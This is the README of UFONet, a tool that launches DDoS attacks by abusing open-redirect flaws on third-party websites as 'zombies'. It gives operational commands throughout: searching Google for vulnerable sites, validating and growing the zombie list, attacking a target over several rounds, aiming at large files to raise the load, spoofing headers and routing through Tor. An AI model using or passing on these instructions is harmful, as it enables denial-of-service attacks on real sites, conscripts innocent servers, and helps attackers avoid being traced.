888 888 8888888888 .d88888b. 888b 888 888
888 888 888 d88PY888b 8888b 888 888
888 888 888 888 888 88888b 888 888
888 888 8888888 888 888 888Y88b 888 .d88b. 888888
888 888 888 888 888 888 Y88b888 d8P Y8b 888
888 888 888 888 888 888 Y88888 88888888 888
Y88b. .d88P 888 Y88b. .d88P 888 Y8888 Y8b. Y88b.
'Y88888P' 888 'Y88888P' 888 Y888 'Y8888 'Y8888
UFONet - DDoS attacks via Web Abuse - 2013/2014 - by psy
UFONet - is a tool designed to launch DDoS attacks against a target,
using 'Open Redirect' vectors on third party web applications, like botnet.
See this links for more info:
- CWE-601:Open Redirect
- OWASP:URL Redirector Abuse
--version show program's version number and exit
-v, --verbose active verbose on requests
--check-tor check to see if Tor is used properly
--update check for latest stable version
--proxy=PROXY Use proxy server (tor: http://localhost:8118)
--user-agent=AGENT Use another HTTP User-Agent header (default SPOOFED)
--referer=REFERER Use another HTTP Referer header (default SPOOFED)
--host=HOST Use another HTTP Host header (default NONE)
--xforw Set your HTTP X-Forwarded-For with random IP values
--xclient Set your HTTP X-Client-IP with random IP values
--timeout=TIMEOUT Select your timeout (default 30)
--retries=RETRIES Retries when the connection timeouts (default 1)
--delay=DELAY Delay in seconds between each HTTP request (default 0)
-s SEARCH Search 'zombies' on google (ex: -s 'proxy.php?url=')
--sn=NUM_RESULTS Set max number of result to search (default 10)
-t TEST Test list of web 'zombie' servers (ex: -t zombies.txt)
-r ROUNDS Set number of 'rounds' for the attack (default: 1)
-b PLACE Set a place to 'bit' on target (ex: -b /path/big.jpg)
-a TARGET Start a Web DDoS attack (ex: -a http(s)://target.com)
Current version: v0.3.1b - Abduction
git clone https://github.com/epsylon/ufonet
UFONet runs on many platforms. It requires Python and the following library:
python-pycurl - Python bindings to libcurl
On Debian-based systems (ex: Ubuntu), run:
sudo apt-get install python-pycurl
UFONet will search on google results for possible 'Open Redirect' vulnerable sites.
A common query string should be like this:
So for example, you can begin a search with:
./ufonet -s 'proxy.php?url='
At the end of the process, you will be asked if you want to check the list retrieved to see
if the urls are vulnerable.
Wanna check if they are valid zombies? (Y/n)
Also, you will be asked to update the list adding automatically only 'vulnerable' web apps.
Wanna update your list (Y/n)
If you reply 'Y', your new 'zombies' will be appended to the file named: zombies.txt
+ with verbose: ./ufonet -s 'proxy.php?url=' -v
+ retrieve 15 urls: ./ufonet -s 'proxy.php?url=' --sn 15
Open 'zombies.txt' (or another file) and create a list of possible 'zombies'.
Urls of the 'zombies' should be like this:
After that, launch it:
./ufonet -t zombies.txt
At the end of the process, you will be asked if you want to update the list
adding automatically only 'vulnerable' web apps.
Wanna update your list (Y/n)
If you reply 'Y', your file: zombies.txt will be updated.
+ with verbose: ./ufonet -t zombies.txt -v
+ with proxy TOR: ./ufonet -t zombies.txt --proxy="http://127.0.0.1:8118"
Enter the target to attack, with the number of rounds that will be attacked:
./ufonet -a http://target.com -r 10
This will attack the target, with the list of 'zombies' that your provided on: "zombies.txt",
a number of 10 times for each 'zombie'. That means, that if you have a list of 1.000 'zombies',
the program will launch 1.000 'zombies' x 10 rounds = 10.000 'hits' to the target.
By default, if you don't put any round, it will apply only 1.
Additionally, you can choose a place to recharge on target's site. For example, a large image,
a big size file or a flash movie. In some scenarios where targets doesn't use cache systems,
this will do the attack more effective.
./ufonet -a http://target.com -b "/images/big_size_image.jpg"
+ with verbose: ./ufonet -a http://target.com -r 10 -v
+ with proxy TOR: ./ufonet -a http://target.com -r 10 --proxy="http://127.0.0.1:8118"
+ with a place: ./ufonet -a http://target.com -r 10 -b "/images/big_size_image.jpg"
Last version of UFONet implements an option to update the tool to the latest stable version.
This feature can be used only if you have cloned it from GitHub repository
To check your version you should launch:
This will update the tool automatically, removing all files from your old package.
Security Conference: Coming soon!
- UFONet-v0.1b: PLAY! (.ogv)
- UFONet-v0.3b: PLAY! (youtube)
If you want to contribute to UFONet development, reporting a bug, providing a patch, commenting
on the code base or simply need to find help to run it, please go to:
irc.freenode.net / channel: #ufonet
If nobody gets back to you, then drop me an e-mail.
To make donations use the following hashes:
- Bitcoin: 1Q63KtiLGzXiYA8XkWFPnWo7nKPWFr3nrc
- Ecoin: 6enjPY7PZVq9gwXeVCxgJB8frsf4YFNzVp